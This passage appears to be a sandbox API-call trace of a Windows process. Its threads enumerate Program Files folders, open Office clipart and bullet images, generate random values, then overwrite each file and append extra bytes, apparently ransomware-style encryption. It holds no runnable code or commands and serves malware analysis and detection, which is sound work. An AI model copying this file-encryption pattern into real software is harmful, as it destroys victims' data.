(HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d42a0) returned 1 [0062.938] FlushFileBuffers (hFile=0x1314) returned 1 [0066.195] CloseHandle (hObject=0x1314) Thread: id = 1168 os_tid = 0x438 [0059.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif")) returned 0x20 [0064.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF", dwFileAttributes=0x20) returned 1 [0064.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x134c [0064.014] GetFileSizeEx (in: hFile=0x134c, lpFileSize=0x115cfdd8 | out: lpFileSize=0x115cfdd8*=245) returned 1 [0064.014] SetFilePointerEx (in: hFile=0x134c, liDistanceToMove=0xf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.014] ReadFile (in: hFile=0x134c, lpBuffer=0x115cfd5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x115cfd58, lpOverlapped=0x0 | out: lpBuffer=0x115cfd5c*, lpNumberOfBytesRead=0x115cfd58*=0x4, lpOverlapped=0x0) returned 1 [0064.015] SetFilePointerEx (in: hFile=0x134c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607b8 [0064.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a60 [0064.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a88 [0064.015] NtQuerySystemTime (in: CurrentTime=0x115cfd38 | out: CurrentTime=0x115cfd38*=132174898279992000) returned 0x0 [0064.015] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x2e32367 [0064.015] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x50a1149 [0064.015] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0xb459210 [0064.015] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x142a3c6d [0064.015] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x345de87c [0064.015] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x79d7d27f [0064.015] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x5747e23 [0064.015] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x7169a2e7 [0064.015] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x134b20ea [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x748696ec [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x3ac103b6 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x343d0a73 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x3dd4baae [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x24b7af4d [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x3872a877 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x58620c24 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x382e5365 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x32f703b8 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x629507ab [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x50141917 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x65e172ee [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x7ba59060 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x5964ad87 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x505f2b2c [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x19137a0a [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x3515add [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x477be84 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x28fee132 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x999dbaf [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x6445b3f [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x3192fd92 [0064.016] RtlRandomEx (in: Seed=0x115cfd44 | out: Seed=0x115cfd44) returned 0x65636b5e [0064.028] ReadFile (in: hFile=0x134c, lpBuffer=0x5e60870, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x115cfd34, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesRead=0x115cfd34*=0xf5, lpOverlapped=0x0) returned 1 [0064.028] SetFilePointerEx (in: hFile=0x134c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.028] WriteFile (in: hFile=0x134c, lpBuffer=0x12d61198*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x115cfd30, lpOverlapped=0x0 | out: lpBuffer=0x12d61198*, lpNumberOfBytesWritten=0x115cfd30*=0xf5, lpOverlapped=0x0) returned 1 [0065.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05160 [0065.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05250 [0065.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05250) returned 1 [0065.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d61198) returned 1 [0065.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0065.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419298) returned 1 [0065.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0065.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceb70 [0065.471] SetFilePointerEx (in: hFile=0x134c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.471] WriteFile (hFile=0x134c, lpBuffer=0x12d7c508, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x115cfd98, lpOverlapped=0x0) Thread: id = 1169 os_tid = 0x7b8 [0059.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif")) returned 0x20 [0064.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF", dwFileAttributes=0x20) Thread: id = 1170 os_tid = 0x7a8 [0061.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif")) returned 0x20 [0064.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF", dwFileAttributes=0x20) returned 1 [0064.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13a4 [0064.209] GetFileSizeEx (in: hFile=0x13a4, lpFileSize=0x117ffdc0 | out: lpFileSize=0x117ffdc0*=245) returned 1 [0064.209] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0xf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.209] ReadFile (in: hFile=0x13a4, lpBuffer=0x117ffd44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x117ffd40, lpOverlapped=0x0 | out: lpBuffer=0x117ffd44*, lpNumberOfBytesRead=0x117ffd40*=0x4, lpOverlapped=0x0) returned 1 [0064.211] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0064.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec92c8 [0064.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8fa8 [0064.212] NtQuerySystemTime (in: CurrentTime=0x117ffd20 | out: CurrentTime=0x117ffd20*=132174898281864000) returned 0x0 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x521ccbd3 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x25f05cd3 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x57fb5378 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x627e3723 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x482696ae [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x4ee95d15 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x27bdcd41 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x62b6b604 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x22a47a3c [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x5df9e9e8 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x50542147 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x56fda542 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x769c7c4c [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x20426a7c [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x67f169a0 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x327a118a [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x13729037 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0xf27336e [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x2a89c526 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x2158c89b [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0xcf1c4c8 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x4a4d2902 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x76131131 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x2bdb8acc [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x5b2fdc07 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x6d717496 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x2af4eb60 [0064.212] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x7cdee3aa [0064.213] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x5967297c [0064.213] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0xa0b95d [0064.213] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x76ae3db5 [0064.213] RtlRandomEx (in: Seed=0x117ffd2c | out: Seed=0x117ffd2c) returned 0x4e05cd28 [0064.224] ReadFile (in: hFile=0x13a4, lpBuffer=0x12ddd830, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x117ffd1c, lpOverlapped=0x0 | out: lpBuffer=0x12ddd830*, lpNumberOfBytesRead=0x117ffd1c*=0xf5, lpOverlapped=0x0) returned 1 [0064.225] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.225] WriteFile (in: hFile=0x13a4, lpBuffer=0x12dea038*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x117ffd18, lpOverlapped=0x0 | out: lpBuffer=0x12dea038*, lpNumberOfBytesWritten=0x117ffd18*=0xf5, lpOverlapped=0x0) returned 1 [0065.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce208 [0065.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce168 [0065.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce168) returned 1 [0065.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dea038) returned 1 [0065.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ddd830) returned 1 [0065.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 [0065.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 [0065.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce8a0 [0065.477] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.477] WriteFile (hFile=0x13a4, lpBuffer=0x12d7cdc8, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x117ffd80, lpOverlapped=0x0) Thread: id = 1171 os_tid = 0x11c [0061.972] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd8f8 [0061.972] wcscpy (in: _Dest=0x97cd8f8, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" [0061.972] wcscat (in: _Dest=0x97cd8f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\" [0061.972] wcscat (in: _Dest=0x97cd8f8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*" [0061.972] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e073d8 [0061.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x12e073d8 | out: lpFindFileData=0x12e073d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4402e0 [0063.810] wcscmp (_String1=".", _String2=".") returned 0 [0063.810] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x12e073d8 | out: lpFindFileData=0x12e073d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.810] wcscmp (_String1="..", _String2=".") returned 1 [0063.810] wcscmp (_String1="..", _String2="..") returned 0 [0063.810] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x12e073d8 | out: lpFindFileData=0x12e073d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0063.810] wcscmp (_String1="1033", _String2=".") returned 1 [0063.810] wcscmp (_String1="1033", _String2="..") returned 1 [0063.810] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec55e8 [0063.810] wcscpy (in: _Dest=0x5ec55e8, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" [0063.810] wcscat (in: _Dest=0x5ec55e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\" [0063.810] wcscat (in: _Dest=0x5ec55e8, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" [0065.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec55e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0065.843] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x12e073d8 | out: lpFindFileData=0x12e073d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0065.843] FindClose (hFindFile=0x4402e0) Thread: id = 1172 os_tid = 0x320 [0061.974] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417500 [0061.974] wcscpy (in: _Dest=0x417500, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0061.974] wcscat (in: _Dest=0x417500, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0061.974] wcscat (in: _Dest=0x417500, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*" [0061.974] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06098 [0061.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440fa0 [0063.810] wcscmp (_String1=".", _String2=".") returned 0 [0063.810] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.810] wcscmp (_String1="..", _String2=".") returned 1 [0063.810] wcscmp (_String1="..", _String2="..") returned 0 [0063.810] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0063.810] wcscmp (_String1="J0143743.GIF", _String2=".") returned 1 [0063.810] wcscmp (_String1="J0143743.GIF", _String2="..") returned 1 [0063.811] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43e068 [0063.811] wcscpy (in: _Dest=0x43e068, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0063.811] wcscat (in: _Dest=0x43e068, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0063.811] wcscat (in: _Dest=0x43e068, _Source="J0143743.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" [0065.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0065.845] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0065.845] wcscmp (_String1="J0143744.GIF", _String2=".") returned 1 [0065.845] wcscmp (_String1="J0143744.GIF", _String2="..") returned 1 [0065.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43ddc8 [0065.845] wcscpy (in: _Dest=0x43ddc8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.845] wcscat (in: _Dest=0x43ddc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.846] wcscat (in: _Dest=0x43ddc8, _Source="J0143744.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" [0065.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ddc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a4 [0065.847] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0065.847] wcscmp (_String1="J0143745.GIF", _String2=".") returned 1 [0065.847] wcscmp (_String1="J0143745.GIF", _String2="..") returned 1 [0065.847] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f028 [0065.847] wcscpy (in: _Dest=0x43f028, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.847] wcscat (in: _Dest=0x43f028, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.847] wcscat (in: _Dest=0x43f028, _Source="J0143745.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" [0065.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a8 [0065.848] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, 